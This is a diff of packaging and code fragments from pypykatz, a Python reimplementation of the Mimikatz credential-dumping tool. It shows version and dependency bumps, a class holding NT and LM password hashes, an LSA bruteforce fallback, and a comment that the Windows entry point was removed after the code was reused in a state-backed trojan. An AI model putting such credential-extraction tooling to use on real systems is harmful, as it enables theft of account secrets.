191247 lsa_dec = self.get_lsa_bruteforce()
192248 if lsa_dec is None:
193249 raise Exception('All detection methods failed.')
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import json
56
67 class SAMSecret:
78 def __init__(self, username, rid, nt_hash, lm_hash):
195195 self.homedir = None
196196 self.homedir_connect = None
197197 self.script_path = None
198 self.profile_path = None
199198 self.profile_path = None
200199 self.workstations = None
201200 self.hoursallowed = None
374373 t += ' %s: %s: %s' % (k, i, str(item))
375374 else:
376375 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
377 return t
376 return t
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.3.7
2 Version: 0.3.15
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
6 Author-email: [email protected]
6 Author-email: [email protected]
77 License: UNKNOWN
88 Description: UNKNOWN
99 Platform: UNKNOWN
0 LICENSE
1 MANIFEST.in
02 README.md
13 setup.py
24 pypykatz/__init__.py
8486 pypykatz/dpapi/structures/masterkeyfile.py
8587 pypykatz/dpapi/structures/system.py
8688 pypykatz/dpapi/structures/vault.py
89 pypykatz/example/__init__.py
90 pypykatz/example/phandle_dll.py
8791 pypykatz/kerberos/__init__.py
8892 pypykatz/kerberos/cmdhelper.py
8993 pypykatz/ldap/__init__.py
0 minidump>=0.0.12
1 minikerberos>=0.2.0
20 aiowinreg>=0.0.3
3 msldap>=0.2.7
4 winsspi>=0.0.3
1 minidump>=0.0.13
2 minikerberos>=0.2.5
3 msldap>=0.3.20
4 winsspi>=0.0.9
00 from setuptools import setup, find_packages
11 import re
2 import platform
23
34 VERSIONFILE="pypykatz/_version.py"
45 verstrline = open(VERSIONFILE, "rt").read()
910 else:
1011 raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
1112
13 ep = {
14 'console_scripts': [
15 'pypykatz = pypykatz.__main__:main',
16 ],
17 }
18
1219 setup(
1320 # Application name:
1421 name="pypykatz",
1825
1926 # Application author details:
2027 author="Tamas Jos",
21 author_email="[email protected]",
28 author_email="[email protected]",
2229
2330 # Packages
2431 packages=find_packages(),
4350 "Operating System :: OS Independent",
4451 ),
4552 install_requires=[
46 'minidump>=0.0.12',
47 'minikerberos>=0.2.0',
53 'minidump>=0.0.13',
54 'minikerberos>=0.2.5',
4855 'aiowinreg>=0.0.3',
49 'msldap>=0.2.7',
50 'winsspi>=0.0.3'
56 'msldap>=0.3.20',
57 'winsspi>=0.0.9',
5158 ],
5259
53 entry_points={
54 'console_scripts': [
55 'pypykatz = pypykatz.__main__:main',
56 ],
57 }
60 # No more conveinent .exe entry point thanks to some idiot who
61 # used the code without modification in a state-backed trojan.
62 # Thank you for runing it for everyone.
63 #
64 #
65 entry_points=ep if platform.system().lower() != 'windows' else {}
5866 )